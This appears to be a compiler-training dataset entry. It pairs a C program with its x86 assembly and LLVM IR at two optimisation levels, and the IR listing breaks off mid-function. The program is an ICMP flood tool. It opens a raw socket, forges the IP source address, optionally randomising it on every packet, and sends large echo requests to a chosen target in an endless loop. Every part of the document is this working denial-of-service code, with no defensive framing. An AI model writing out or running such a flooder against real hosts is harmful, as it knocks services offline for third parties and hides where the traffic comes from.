#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */
typedef struct TYPE_2__ TYPE_1__;

/* Type definitions */
struct TYPE_2__ {
  unsigned long s_addr;
};
struct sockaddr_in {
  TYPE_1__ sin_addr;
  int /*<<< orphan*/ sin_family;
};
struct sockaddr {
  int dummy;
};
struct iphdr {
  int ihl;
  int version;
  int ttl;
  unsigned long saddr;
  unsigned long daddr;
  void *check;
  int /*<<< orphan*/ protocol;
  scalar_t__ frag_off;
  scalar_t__ id;
  int /*<<< orphan*/ tot_len;
  scalar_t__ tos;
};
struct icmp {
  int icmp_id;
  int icmp_seq;
  void *icmp_cksum;
  scalar_t__ icmp_code;
  int /*<<< orphan*/ icmp_type;
};
typedef int /*<<< orphan*/ servaddr;
typedef int /*<<< orphan*/ sendbuf;
typedef int /*<<< orphan*/ on;

/* Variables and functions */
int /*<<< orphan*/ AF_INET;
int /*<<< orphan*/ ICMP_ECHO;
int /*<<< orphan*/ IPPROTO_ICMP;
int /*<<< orphan*/ IPPROTO_IP;
int /*<<< orphan*/ IPPROTO_RAW;
int /*<<< orphan*/ IP_HDRINCL;
int /*<<< orphan*/ PF_INET;
int /*<<< orphan*/ SOCK_RAW;
int /*<<< orphan*/ SOL_SOCKET;
int /*<<< orphan*/ SO_BROADCAST;
int /*<<< orphan*/ bzero(struct sockaddr_in *, int);
int /*<<< orphan*/ exit(int);
int /*<<< orphan*/ fprintf(int /*<<< orphan*/, char *, char *);
int /*<<< orphan*/ htons(int);
void *in_cksum(unsigned short *, int);
int /*<<< orphan*/ perror(char *);
void *random();
unsigned long resolve(char *);
scalar_t__ sendto(int, char *, int, int /*<<< orphan*/, struct sockaddr *, int);
scalar_t__ setsockopt(int, int /*<<< orphan*/, int /*<<< orphan*/, char *, int);
int socket(int /*<<< orphan*/, int /*<<< orphan*/, int /*<<< orphan*/);
int /*<<< orphan*/ stderr;
int /*<<< orphan*/ strcmp(char *, char *);
int main(int argc, char *argv[]) {
  int sd;
  const int on = 1;
  int rnd = 0;
  unsigned long dstaddr, srcaddr;
  struct sockaddr_in servaddr;
  char sendbuf[sizeof(struct iphdr) + sizeof(struct icmp) + 1400];
  struct iphdr *ip_hdr = (struct iphdr *)sendbuf;
  struct icmp *icmp_hdr = (struct icmp *)(sendbuf + sizeof(struct iphdr));
  if (argc != 3) {
    fprintf(stderr,
            "Usage: %s <source address | random> <destination address>\n",
            argv[0]);
    exit(-1);
  }
  if ((sd = socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
    perror("socket() failed :(");
    exit(-1);
  }
  if (setsockopt(sd, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0) {
    perror("setsockopt failed :(");
    exit(-1);
  }
  if (setsockopt(sd, SOL_SOCKET, SO_BROADCAST, (char *)&on, sizeof(on)) < 0) {
    perror("setsockopt failed :(");
    exit(-1);
  }
  if (!strcmp(argv[1], "random")) {
    rnd = 1;
    srcaddr = random();
  } else {
    srcaddr = resolve(argv[1]);
  }
  dstaddr = resolve(argv[2]);
  bzero(&servaddr, sizeof(servaddr));
  servaddr.sin_family = AF_INET;
  servaddr.sin_addr.s_addr = dstaddr;
  ip_hdr->ihl = 5;
  ip_hdr->version = 4;
  ip_hdr->tos = 0;
  ip_hdr->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmp) + 1400);
  ip_hdr->id = 0;
  ip_hdr->frag_off = 0;
  ip_hdr->ttl = 255;
  ip_hdr->protocol = IPPROTO_ICMP;
  ip_hdr->check = 0;
  ip_hdr->check = in_cksum((unsigned short *)ip_hdr, sizeof(struct iphdr));
  ip_hdr->saddr = srcaddr;
  ip_hdr->daddr = dstaddr;
  icmp_hdr->icmp_type = ICMP_ECHO;
  icmp_hdr->icmp_code = 0;
  icmp_hdr->icmp_id = 1;
  icmp_hdr->icmp_seq = 1;
  icmp_hdr->icmp_cksum = 0;
  icmp_hdr->icmp_cksum =
      in_cksum((unsigned short *)icmp_hdr, sizeof(struct icmp) + 1400);
  while (1) {
    if (sendto(sd, sendbuf, sizeof(sendbuf), 0, (struct sockaddr *)&servaddr,
               sizeof(servaddr)) < 0) {
      perror("sendto() failed :(");
      exit(-1);
    }
    if (rnd)
      ip_hdr->saddr = random();
  }
  return 0;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x640,%rsp
movl   $0x0,-0x4(%rbp)
mov    %edi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
movl   $0x1,-0x18(%rbp)
movl   $0x0,-0x1c(%rbp)
lea    -0x630(%rbp),%rax
mov    %rax,-0x638(%rbp)
lea    -0x630(%rbp),%rax
add    $0x50,%rax
mov    %rax,-0x640(%rbp)
cmpl   $0x3,-0x8(%rbp)
je     1237 <main+0x77>
mov    0x2d90(%rip),%rax
mov    (%rax),%edi
mov    -0x10(%rbp),%rax
mov    (%rax),%rdx
lea    0xdd8(%rip),%rsi
call   1090 <fprintf@plt>
mov    $0xffffffff,%edi
call   10d0 <exit@plt>
mov    0x2d52(%rip),%rax
mov    (%rax),%edi
mov    0x2d89(%rip),%rax
mov    (%rax),%esi
mov    0x2d48(%rip),%rax
mov    (%rax),%edx
call   10e0 <socket@plt>
mov    %eax,-0x14(%rbp)
cmp    $0x0,%eax
jge    1279 <main+0xb9>
lea    0xdd1(%rip),%rdi
call   10b0 <perror@plt>
mov    $0xffffffff,%edi
call   10d0 <exit@plt>
mov    -0x14(%rbp),%edi
mov    0x2d45(%rip),%rax
mov    (%rax),%esi
mov    0x2d64(%rip),%rax
mov    (%rax),%edx
lea    -0x18(%rbp),%rcx
mov    $0x4,%r8d
call   1030 <setsockopt@plt>
cmp    $0x0,%rax
jge    12bd <main+0xfd>
lea    0xda0(%rip),%rdi
call   10b0 <perror@plt>
mov    $0xffffffff,%edi
call   10d0 <exit@plt>
mov    -0x14(%rbp),%edi
mov    0x2d19(%rip),%rax
mov    (%rax),%esi
mov    0x2cf0(%rip),%rax
mov    (%rax),%edx
lea    -0x18(%rbp),%rcx
mov    $0x4,%r8d
call   1030 <setsockopt@plt>
cmp    $0x0,%rax
jge    1301 <main+0x141>
lea    0xd5c(%rip),%rdi
call   10b0 <perror@plt>
mov    $0xffffffff,%edi
call   10d0 <exit@plt>
mov    -0x10(%rbp),%rax
mov    0x8(%rax),%rdi
lea    0xd53(%rip),%rsi
call   1080 <strcmp@plt>
cmp    $0x0,%eax
jne    1335 <main+0x175>
movl   $0x1,-0x1c(%rbp)
mov    $0x0,%al
call   10a0 <random@plt>
mov    %rax,-0x30(%rbp)
jmp    1346 <main+0x186>
mov    -0x10(%rbp),%rax
mov    0x8(%rax),%rdi
call   1060 <resolve@plt>
mov    %rax,-0x30(%rbp)
mov    -0x10(%rbp),%rax
mov    0x10(%rax),%rdi
call   1060 <resolve@plt>
mov    %rax,-0x28(%rbp)
lea    -0x40(%rbp),%rdi
mov    $0x10,%esi
call   10c0 <bzero@plt>
mov    0x2c6c(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x38(%rbp)
mov    -0x28(%rbp),%rax
mov    %rax,-0x40(%rbp)
mov    -0x638(%rbp),%rax
movl   $0x5,(%rax)
mov    -0x638(%rbp),%rax
movl   $0x4,0x4(%rax)
mov    -0x638(%rbp),%rax
movq   $0x0,0x48(%rax)
mov    $0x5e8,%edi
call   1050 <htons@plt>
mov    %eax,%ecx
mov    -0x638(%rbp),%rax
mov    %ecx,0x40(%rax)
mov    -0x638(%rbp),%rax
movq   $0x0,0x38(%rax)
mov    -0x638(%rbp),%rax
movq   $0x0,0x30(%rax)
mov    -0x638(%rbp),%rax
movl   $0xff,0x8(%rax)
mov    0x2bcc(%rip),%rax
mov    (%rax),%ecx
mov    -0x638(%rbp),%rax
mov    %ecx,0x28(%rax)
mov    -0x638(%rbp),%rax
movq   $0x0,0x20(%rax)
mov    -0x638(%rbp),%rdi
mov    $0x50,%esi
call   1040 <in_cksum@plt>
mov    %rax,%rcx
mov    -0x638(%rbp),%rax
mov    %rcx,0x20(%rax)
mov    -0x30(%rbp),%rcx
mov    -0x638(%rbp),%rax
mov    %rcx,0x10(%rax)
mov    -0x28(%rbp),%rcx
mov    -0x638(%rbp),%rax
mov    %rcx,0x18(%rax)
mov    0x2b55(%rip),%rax
mov    (%rax),%ecx
mov    -0x640(%rbp),%rax
mov    %ecx,0x18(%rax)
mov    -0x640(%rbp),%rax
movq   $0x0,0x10(%rax)
mov    -0x640(%rbp),%rax
movl   $0x1,(%rax)
mov    -0x640(%rbp),%rax
movl   $0x1,0x4(%rax)
mov    -0x640(%rbp),%rax
movq   $0x0,0x8(%rax)
mov    -0x640(%rbp),%rdi
mov    $0x598,%esi
call   1040 <in_cksum@plt>
mov    %rax,%rcx
mov    -0x640(%rbp),%rax
mov    %rcx,0x8(%rax)
mov    -0x14(%rbp),%edi
lea    -0x630(%rbp),%rsi
lea    -0x40(%rbp),%r8
mov    $0x5e8,%edx
xor    %ecx,%ecx
mov    $0x10,%r9d
call   1070 <sendto@plt>
cmp    $0x0,%rax
jge    14ef <main+0x32f>
lea    0xb8a(%rip),%rdi
call   10b0 <perror@plt>
mov    $0xffffffff,%edi
call   10d0 <exit@plt>
cmpl   $0x0,-0x1c(%rbp)
je     150e <main+0x34e>
mov    $0x0,%al
call   10a0 <random@plt>
mov    %rax,%rcx
mov    -0x638(%rbp),%rax
mov    %rcx,0x10(%rax)
jmp    14af <main+0x2ef>

x86 assembly (clang, -O2):
<main>:
push   %rbp
push   %r15
push   %r14
push   %r13
push   %r12
push   %rbx
sub    $0x608,%rsp
mov    %rsi,%r14
movl   $0x1,0xc(%rsp)
cmp    $0x3,%edi
jne    1211 <main+0x51>
mov    0x2da8(%rip),%rax
mov    (%rax),%edi
mov    0x2ddf(%rip),%rax
mov    (%rax),%esi
mov    0x2d9e(%rip),%rax
mov    (%rax),%edx
call   10e0 <socket@plt>
test   %eax,%eax
jns    1233 <main+0x73>
lea    0xe3f(%rip),%rdi
jmp    13c3 <main+0x203>
mov    0x2d90(%rip),%rax
mov    (%rax),%edi
mov    (%r14),%rdx
lea    0xdec(%rip),%rsi
call   1090 <fprintf@plt>
mov    $0xffffffff,%edi
call   10d0 <exit@plt>
mov    %eax,%r15d
mov    0x2d8b(%rip),%rax
mov    (%rax),%esi
mov    0x2daa(%rip),%rax
mov    (%rax),%edx
lea    0xc(%rsp),%rcx
mov    %r15d,%edi
mov    $0x4,%r8d
call   1030 <setsockopt@plt>
test   %rax,%rax
js     128a <main+0xca>
mov    0x2d79(%rip),%rax
mov    (%rax),%esi
mov    0x2d50(%rip),%rax
mov    (%rax),%edx
lea    0xc(%rsp),%rcx
mov    %r15d,%edi
mov    $0x4,%r8d
call   1030 <setsockopt@plt>
test   %rax,%rax
jns    1296 <main+0xd6>
lea    0xdcd(%rip),%rdi
jmp    13c3 <main+0x203>
mov    0x8(%r14),%rbp
lea    0xdd2(%rip),%rsi
mov    %rbp,%rdi
call   1080 <strcmp@plt>
mov    %eax,%r12d
test   %eax,%eax
jne    12b9 <main+0xf9>
xor    %eax,%eax
call   10a0 <random@plt>
jmp    12c1 <main+0x101>
mov    %rbp,%rdi
call   1060 <resolve@plt>
mov    %rax,%rbp
mov    0x10(%r14),%rdi
call   1060 <resolve@plt>
mov    %rax,%r13
lea    0x10(%rsp),%r14
mov    %r14,%rdi
mov    $0x10,%esi
call   10c0 <bzero@plt>
mov    0x2cef(%rip),%rax
mov    (%rax),%eax
mov    %eax,0x18(%rsp)
mov    %r13,0x10(%rsp)
movabs $0x400000005,%rax
mov    %rax,0x20(%rsp)
movq   $0x0,0x68(%rsp)
mov    $0x5e8,%edi
call   1050 <htons@plt>
mov    %eax,0x60(%rsp)
xorps  %xmm0,%xmm0
movaps %xmm0,0x50(%rsp)
movl   $0xff,0x28(%rsp)
mov    0x2c87(%rip),%rax
mov    (%rax),%eax
mov    %eax,0x48(%rsp)
movq   $0x0,0x40(%rsp)
lea    0x20(%rsp),%rbx
mov    %rbx,%rdi
mov    $0x50,%esi
call   1040 <in_cksum@plt>
mov    %rax,0x40(%rsp)
mov    %rbp,0x30(%rsp)
mov    %r13,0x38(%rsp)
mov    0x2c38(%rip),%rax
mov    (%rax),%eax
mov    %eax,0x88(%rsp)
movabs $0x100000001,%rax
mov    %rax,0x70(%rsp)
xorps  %xmm0,%xmm0
movups %xmm0,0x78(%rsp)
lea    0x70(%rsp),%rdi
mov    $0x598,%esi
call   1040 <in_cksum@plt>
mov    %rax,0x78(%rsp)
mov    %r15d,%edi
mov    %rbx,%rsi
mov    $0x5e8,%edx
xor    %ecx,%ecx
mov    %r14,%r8
mov    $0x10,%r9d
call   1070 <sendto@plt>
test   %rax,%rax
jns    13d2 <main+0x212>
lea    0xcb7(%rip),%rdi
call   10b0 <perror@plt>
mov    $0xffffffff,%edi
call   10d0 <exit@plt>
lea    0x20(%rsp),%rbx
lea    0x10(%rsp),%rbp
jmp    1400 <main+0x240>
xchg   %ax,%ax
mov    %r15d,%edi
mov    %rbx,%rsi
mov    $0x5e8,%edx
xor    %ecx,%ecx
mov    %rbp,%r8
mov    $0x10,%r9d
call   1070 <sendto@plt>
test   %rax,%rax
js     13bc <main+0x1fc>
test   %r12d,%r12d
jne    13e0 <main+0x220>
xor    %eax,%eax
call   10a0 <random@plt>
mov    %rax,0x30(%rsp)
jmp    13e0 <main+0x220>

LLVM IR (-O0):
%struct.sockaddr_in = type { %struct.TYPE_2__, i32 }
%struct.TYPE_2__ = type { i64 }
%struct.iphdr = type { i32, i32, i32, i64, i64, i8*, i32, i64, i64, i32, i64 }
%struct.icmp = type { i32, i32, i8*, i64, i32 }
%struct.sockaddr = type { i32 }
@stderr = global i32 0
@.str = [59 x i8] c"Usage: %s <source address | random> <destination address>\0A\00"
@PF_INET = global i32 0
@SOCK_RAW = global i32 0
@IPPROTO_RAW = global i32 0
@.str.1 = [19 x i8] c"socket() failed :(\00"
@IPPROTO_IP = global i32 0
@IP_HDRINCL = global i32 0
@.str.2 = [21 x i8] c"setsockopt failed :(\00"
@SOL_SOCKET = global i32 0
@SO_BROADCAST = global i32 0
@.str.3 = [7 x i8] c"random\00"
@AF_INET = global i32 0
@IPPROTO_ICMP = global i32 0
@ICMP_ECHO = global i32 0
@.str.4 = [19 x i8] c"sendto() failed :(\00"
define i32 @main(i32 %0, i8** %1) {
%3 = alloca i32
%4 = alloca i32
%5 = alloca i8**
%6 = alloca i32
%7 = alloca i32
%8 = alloca i32
%9 = alloca i64
%10 = alloca i64
%11 = alloca %struct.sockaddr_in
%12 = alloca [1512 x i8]
%13 = alloca %struct.iphdr*
%14 = alloca %struct.icmp*
store i32 0, i32* %3
store i32 %0, i32* %4
store i8** %1, i8*** %5
store i32 1, i32* %7
store i32 0, i32* %8
%15 = getelementptr inbounds [1512 x i8], [1512 x i8]* %12, i64 0, i64 0
%16 = bitcast i8* %15 to %struct.iphdr*
store %struct.iphdr* %16, %struct.iphdr** %13
%17 = getelementptr inbounds [1512 x i8], [1512 x i8]* %12, i64 0, i64 0
%18 = getelementptr inbounds i8, i8* %17, i64 80
%19 = bitcast i8* %18 to %struct.icmp*
store %struct.icmp* %19, %struct.icmp** %14
%20 = load i32, i32* %4
%21 = icmp ne i32 %20, 3
br i1 %21, label %22, label %29
22: ; preds = %2
%23 = load i32, i32* @stderr
%24 = load i8**, i8*** %5
%25 = getelementptr inbounds i8*, i8** %24, i64 0
%26 = load i8*, i8** %25
%27 = call i32 @fprintf(i32 %23, i8* getelementptr inbounds ([59 x i8], [59 x i8]* @.str, i64 0, i64 0), i8* %26)
%28 = call i32 @exit(i32 -1)
unreachable
29: ; preds = %2
%30 = load i32, i32* @PF_INET
%31 = load i32, i32* @SOCK_RAW
%32 = load i32, i32* @IPPROTO_RAW
%33 = call i32 @socket(i32 %30, i32 %31, i32 %32)
store i32 %33, i32* %6
%34 = icmp slt i32 %33, 0
br i1 %34, label %35, label %38
35: ; preds = %29
%36 = call i32 @perror(i8* getelementptr inbounds ([19 x i8], [19 x i8]* @.str.1, i64 0, i64 0))
%37 = call i32 @exit(i32 -1)
unreachable
38: ; preds = %29
%39 = load i32, i32* %6
%40 = load i32, i32* @IPPROTO_IP
%41 = load i32, i32* @IP_HDRINCL
%42 = bitcast i32* %7 to i8*
%43 = call i64 @setsockopt(i32 %39, i32 %40, i32 %41, i8* %42, i32 4)
%44 = icmp slt i64 %43, 0
br i1 %44, label %45, label %48
45: ; preds = %38
%46 = call i32 @perror(i8* getelementptr inbounds ([21 x i8], [21 x i8]* @.str.2, i64 0, i64 0))
%47 = call i32 @exit(i32 -1)
unreachable
48: ; preds = %38
%49 = load i32, i32* %6
%50 = load i32, i32* @SOL_SOCKET
%51 = load i32, i32* @SO_BROADCAST
%52 = bitcast i32* %7 to i8*
%53 = call i64 @setsockopt(i32 %49, i32 %50, i32 %51, i8* %52, i32 4)
%54 = icmp slt i64 %53, 0
br i1 %54, label %55, label %58
55: ; preds = %48
%56 = call i32 @perror(i8* getelementptr inbounds ([21 x i8], [21 x i8]* @.str.2, i64 0, i64 0))
%57 = call i32 @exit(i32 -1)
unreachable
58: ; preds = %48
%59 = load i8**, i8*** %5
%60 = getelementptr inbounds i8*, i8** %59, i64 1
%61 = load i8*, i8** %60
%62 = call i32 @strcmp(i8* %61, i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.3, i64 0, i64 0))
%63 = icmp ne i32 %62, 0
br i1 %63, label %67, label %64
64: ; preds = %58
store i32 1, i32* %8
%65 = call i8* (...) @random()
%66 = ptrtoint i8* %65 to i64
store i64 %66, i64* %10
br label %72
67: ; preds = %58
%68 = load i8**, i8*** %5
%69 = getelementptr inbounds i8*, i8** %68, i64 1
%70 = load i8*, i8** %69
%71 = call i64 @resolve(i8* %70)
store i64 %71, i64* %10
br label %72
72: ; preds = %67, %64
%73 = load i8**, i8*** %5
%74 = getelementptr inbounds i8*, i8** %73, i64 2
%75 = load i8*, i8** %74
%76 = call i64 @resolve(i8* %75)
store i64 %76, i64* %9
%77 = call i32 @bzero(%struct.sockaddr_in* %11, i32 16)
%78 = load i32, i32* @AF_INET
%79 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %11, i32 0, i32 1
store i32 %78, i32* %79
%80 = load i64, i64* %9
%81 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %11, i32 0, i32 0
%82 = getelementptr inbounds %struct.TYPE_2__, %struct.TYPE_2__* %81, i32 0, i32 0
store i64 %80, i64* %82
%83 = load %struct.iphdr*, %struct.iphdr** %13
%84 = getelementptr inbounds %struct.iphdr, %struct.iphdr* %83, i32 0, i32 0
store i32 5, i32* %84
%85 = load %struct.iphdr*, %struct.iphdr** %13
%86 = getelementptr inbounds %struct.iphdr, %struct.iphdr* %85, i32 0, i32 1
store i32 4, i32* %86
%87 = load %struct.iphdr*, %struct.iphdr** %13
%88 = getelementptr inbounds %struct.iphdr, %struct.iphdr* %87, i32 0, i32 10
store i64 0, i64* %88
%89 = call i32 @htons(i32 1512)
%90 = load %struct.iphdr*, %struct.iphdr** %13
%91 = getelementptr inbounds %struct.iphdr, %struct.iphdr* %90, i32 0, i32 9
store i32 %89, i32* %91
%92 = load %struct.iphdr*, %struct.iphdr** %13
%93 = getelementptr inbounds %struct.iphdr, %struct.iphdr* %92, i32 0, i32 8
store i64 0, i64* %93
%94 = load %struct.iphdr*, %struct.iphdr** %13
%95 = getelementptr inbounds %struct.iphdr, %struct.iphdr* %94, i32 0, i32 7
store i64 0, i64* %95
%96 = load %struct.iphdr*, %struct.iphdr** %13
%97 = getelementptr inbounds %struct.iphdr, %struct.iphdr* %96, i32 0, i32 2
store i32 255, i32* %97
%98 = load i32, i32* @IPPROTO_ICMP
%99 = load %struct.iphdr*, %struct.iphdr** %13
%100 = getelementptr inbounds %struct.iphdr, %struct.iphdr* %99, i32 0, i32 6
store i32 %98, i32* %100
%101 = load %struct.iphdr*, %struct.iphdr** %13
%102 = getelementptr inbounds %struct.iphdr, %struct.iphdr* %101, i32 0, i32 5
store i8* null, i8** %102
%103 = load %struct.iphdr*, %struct.iphdr** %13
%104 = bitcast %struct.iphdr* %103 to i16*
%105 = call i8* @in_cksum(i16* %104, i32 80)
%106 = load %struct.iphdr*, %struct.iphdr** %13
%107 = getelementptr inbounds %struct.iphdr, %struct.iphdr* %106, i32 0, i32 5
store i8* %105, i8** %107
%108 = load i64, i64* %10
%109 = load %struct.iphdr*, %struct.iphdr** %13
%110 = getelementptr inbounds %struct.iphdr, %struct.iphdr* %109, i32 0, i32 3
store i64 %108, i64* %110
%111 = load i64, i64* %9
%112 = load %struct.iphdr*, %struct.iphdr** %13
%113 = getelementptr inbounds %struct.iphdr, %struct.iphdr* %112, i32 0, i32 4
store i64 %111, i64* %113
%114 = load i32, i32* @ICMP_ECHO
%115 = load %struct.icmp*, %struct.icmp** %14
%116 = getelementptr inbounds %struct.icmp, %struct.icmp* %115, i32 0, i32 4
store i32 %114, i32* %116
%117 = load %struct.icmp*, %struct.icmp** %14
%118 = getelementptr inbounds %struct.icmp, %struct.icmp* %117, i32 0, i32 3
store i64 0, i64* %118
%119 = load %struct.icmp*, %struct.icmp** %14
%120 = getelementptr inbounds %struct.icmp, %struct.icmp* %119, i32 0, i32 0
store i32 1, i32* %120
%121 = load %struct.icmp*, %struct.icmp** %14
%122 = getelementptr inbounds %struct.icmp, %struct.icmp* %121, i32 0, i32 1
store i32 1, i32* %122
%123 = load %struct.icmp*, %struct.icmp** %14
%124 = getelementptr inbounds %struct.icmp, %struct.icmp* %123, i32 0, i32 2
store i8* null, i8** %124
%125 = load %struct.icmp*, %struct.icmp** %14
%126 = bitcast %struct.icmp* %125 to i16*
%127 = call i8* @in_cksum(i16* %126, i32 1432)
%128 = load %struct.icmp*, %struct.icmp** %14
%129 = getelementptr inbounds %struct.icmp, %struct.icmp* %128, i32 0, i32 2
store i8* %127, i8** %129
br label %130
130: ; preds = %72, %147
%131 = load i32, i32* %6
%132 = getelementptr inbounds [1512 x i8], [1512 x i8]* %12, i64 0, i64 0
%133 = bitcast %struct.sockaddr_in* %11 to %struct.sockaddr*
%134 = call i64 @sendto(i32 %131, i8* %132, i32 1512, i32 0, %struct.sockaddr* %133, i32 16)
%135 = icmp slt i64 %134, 0
br i1 %135, label %136, label %139
136: ; preds = %130
%137 = call i32 @perror(i8* getelementptr inbounds ([19 x i8], [19 x i8]* @.str.4, i64 0, i64 0))
%138 = call i32 @exit(i32 -1)
unreachable
139: ; preds = %130
%140 = load i32, i32* %8
%141 = icmp ne i32 %140, 0
br i1 %141, label %142, label %147
142: ; preds = %139
%143 = call i8* (...) @random()
%144 = ptrtoint i8* %143 to i64
%145 = load %struct.iphdr*, %struct.iphdr** %13
%146 = getelementptr inbounds %struct.iphdr, %struct.iphdr* %145, i32 0, i32 3
store i64 %144, i64* %146
br label %147
147: ; preds = %142, %139
br label %130
}

LLVM IR (-O2):
%struct.sockaddr_in = type { %struct.TYPE_2__, i32 }
%struct.TYPE_2__ = type { i64 }
%struct.sockaddr = type { i32 }
@stderr = global i32 0
@.str = [59 x i8] c"Usage: %s <source address | random> <destination address>\0A\00"
@PF_INET = global i32 0
@SOCK_RAW = global i32 0
@IPPROTO_RAW = global i32 0
@.str.1 = [19 x i8] c"socket() failed :(\00"
@IPPROTO_IP = global i32 0
@IP_HDRINCL = global i32 0
@.str.2 = [21 x i8] c"setsockopt failed :(\00"
@SOL_SOCKET = global i32 0
@SO_BROADCAST = global i32 0
@.str.3 = [7 x i8] c"random\00"
@AF_INET = global i32 0
@IPPROTO_ICMP = global i32 0
@ICMP_ECHO = global i32 0
@.str.4 = [19 x i8] c"sendto() failed :(\00"
define i32 @main(i32 %0, i8** nocapture %1) {
%3 = alloca i32
%4 = alloca %struct.sockaddr_in
%5 = alloca [1512 x i8]
%6 = bitcast i32* %3 to i8*
store i32 1, i32* %3
%7 = bitcast %struct.sockaddr_in* %4 to i8*
%8 = getelementptr inbounds [1512 x i8], [1512 x i8]* %5, i64 0, i64 0
%9 = getelementptr inbounds [1512 x i8], [1512 x i8]* %5, i64 0, i64 80
%10 = icmp eq i32 %0, 3
br i1 %10, label %16, label %11
11: ; preds = %2
%12 = load i32, i32* @stderr
%13 = load i8*, i8** %1
%14 = tail call i32 @fprintf(i32 %12, i8* getelementptr inbounds ([59 x i8], [59 x i8]* @.str, i64 0, i64 0), i8* %13)
%15 = tail call i32 @exit(i32 -1)
unreachable
16: ; preds = %2
%17 = load i32, i32* @PF_INET
%18 = load i32, i32* @SOCK_RAW
%19 = load i32, i32* @IPPROTO_RAW
%20 = tail call i32 @socket(i32 %17, i32 %18, i32 %19)
%21 = icmp slt i32 %20, 0
br i1 %21, label %22, label %25
22: ; preds = %16
%23 = tail call i32 @perror(i8* getelementptr inbounds ([19 x i8], [19 x i8]* @.str.1, i64 0, i64 0))
%24 = tail call i32 @exit(i32 -1)
unreachable
25: ; preds = %16
%26 = load i32, i32* @IPPROTO_IP
%27 = load i32, i32* @IP_HDRINCL
%28 = call i64 @setsockopt(i32 %20, i32 %26, i32 %27, i8* %6, i32 4)
%29 = icmp slt i64 %28, 0
br i1 %29, label %30, label %33
30: ; preds = %25
%31 = call i32 @perror(i8* getelementptr inbounds ([21 x i8], [21 x i8]* @.str.2, i64 0, i64 0))
%32 = call i32 @exit(i32 -1)
unreachable
33: ; preds = %25
%34 = load i32, i32* @SOL_SOCKET
%35 = load i32, i32* @SO_BROADCAST
%36 = call i64 @setsockopt(i32 %20, i32 %34, i32 %35, i8* %6, i32 4)
%37 = icmp slt i64 %36, 0
br i1 %37, label %38, label %41
38: ; preds = %33
%39 = call i32 @perror(i8* getelementptr inbounds ([21 x i8], [21 x i8]* @.str.2, i64 0, i64 0))
%40 = call i32 @exit(i32 -1)
unreachable
41: ; preds = %33
%42 = getelementptr inbounds i8*, i8** %1, i64 1
%43 = load i8*, i8** %42
%44 = call i32 @strcmp(i8* dereferenceable(1) %43, i8* dereferenceable(7) getelementptr inbounds ([7 x i8], [7 x i8]* @.str.3, i64 0, i64 0))
%45 = icmp eq i32 %44, 0
br i1 %45, label %46, label %49
46: ; preds = %41
%47 = call i8* (...) @random()
%48 = ptrtoint i8* %47 to i64
br label %51
49: ; preds = %41
%50 = call i64 @resolve(i8* %43)
br label %51
51: ; preds = %49, %46
%52 = phi i64 [ %50, %49 ], [ %48, %46 ]
%53 = getelementptr inbounds i8*, i8** %1, i64 2
%54 = load i8*, i8** %53
%55 = call i64 @resolve(i8* %54)
%56 = call i32 @bzero(%struct.sockaddr_in* %4, i32 16)
%57 = load i32, i32* @AF_INET
%58 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %4, i64 0, i32 1
store i32 %57, i32* %58
%59 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %4, i64 0, i32 0, i32 0
store i64 %55, i64* %59
%60 = bitcast [1512 x i8]* %5 to i32*
store i32 5, i32* %60
%61 = getelementptr inbounds [1512 x i8], [1512 x i8]* %5, i64 0, i64 4
%62 = bitcast i8* %61 to i32*
store i32 4, i32* %62
%63 = getelementptr inbounds [1512 x i8], [1512 x i8]* %5, i64 0, i64 72
%64 = bitcast i8* %63 to i64*
store i64 0, i64* %64
%65 = call i32 @htons(i32 1512)
%66 = getelementptr inbounds [1512 x i8], [1512 x i8]* %5, i64 0, i64 64
%67 = bitcast i8* %66 to i32*
store i32 %65, i32* %67
%68 = getelementptr inbounds [1512 x i8], [1512 x i8]* %5, i64 0, i64 48
%69 = getelementptr inbounds [1512 x i8], [1512 x i8]* %5, i64 0, i64 8
%70 = bitcast i8* %69 to i32*
store i32 255, i32* %70
%71 = load i32, i32* @IPPROTO_ICMP
%72 = getelementptr inbounds [1512 x i8], [1512 x i8]* %5, i64 0, i64 40
%73 = bitcast i8* %72 to i32*
store i32 %71, i32* %73
%74 = getelementptr inbounds [1512 x i8], [1512 x i8]* %5, i64 0, i64 32
%75 = bitcast i8* %74 to i8**
store i8* null, i8** %75
%76 = bitcast [1512 x i8]* %5 to i16*
%77 = call i8* @in_cksum(i16* %76, i32 80)
store i8* %77, i8** %75
%78 = getelementptr inbounds [1512 x i8], [1512 x i8]* %5, i64 0, i64 16
%79 = bitcast i8* %78 to i64*
store i64 %52, i64* %79
%80 = getelementptr inbounds [1512 x i8], [1512 x i8]* %5, i64 0, i64 24
%81 = bitcast i8* %80 to i64*
store i64 %55, i64* %81
%82 = load i32, i32* @ICMP_ECHO
%83 = getelementptr inbounds [1512 x i8], [1512 x i8]* %5, i64 0, i64 104
%84 = bitcast i8* %83 to i32*
store i32 %82, i32* %84
%85 = getelementptr inbounds [1512 x i8], [1512 x i8]* %5, i64 0, i64 96
%86 = bitcast i8* %85 to i64*
store i64 0, i64* %86
%87 = bitcast i8* %9 to i32*
store i32 1, i32* %87
%88 = getelementptr inbounds [1512 x i8], [1512 x i8]* %5, i64 0, i64 84
%89 = bitcast i8* %88 to i32*
store i32 1, i32* %89
%90 = getelementptr inbounds [1512 x i8], [1512 x i8]* %5, i64 0, i64 88
%91 = bitcast i8* %90 to i8**
store i8* null, i8** %91
%92 = bitcast i8* %9 to i16*
%93 = call i8* @in_cksum(i16* %92, i32 1432)
store i8* %93, i8** %91
%94 = bitcast %struct.sockaddr_in* %4 to %struct.sockaddr*
%95 = call i64 @sendto(i32 %20, i8* %8, i32 1512, i32 0, %struct.sockaddr* %94, i32 16)
%96 = icmp slt i64 %95, 0
br i1 %96, label %97, label %100
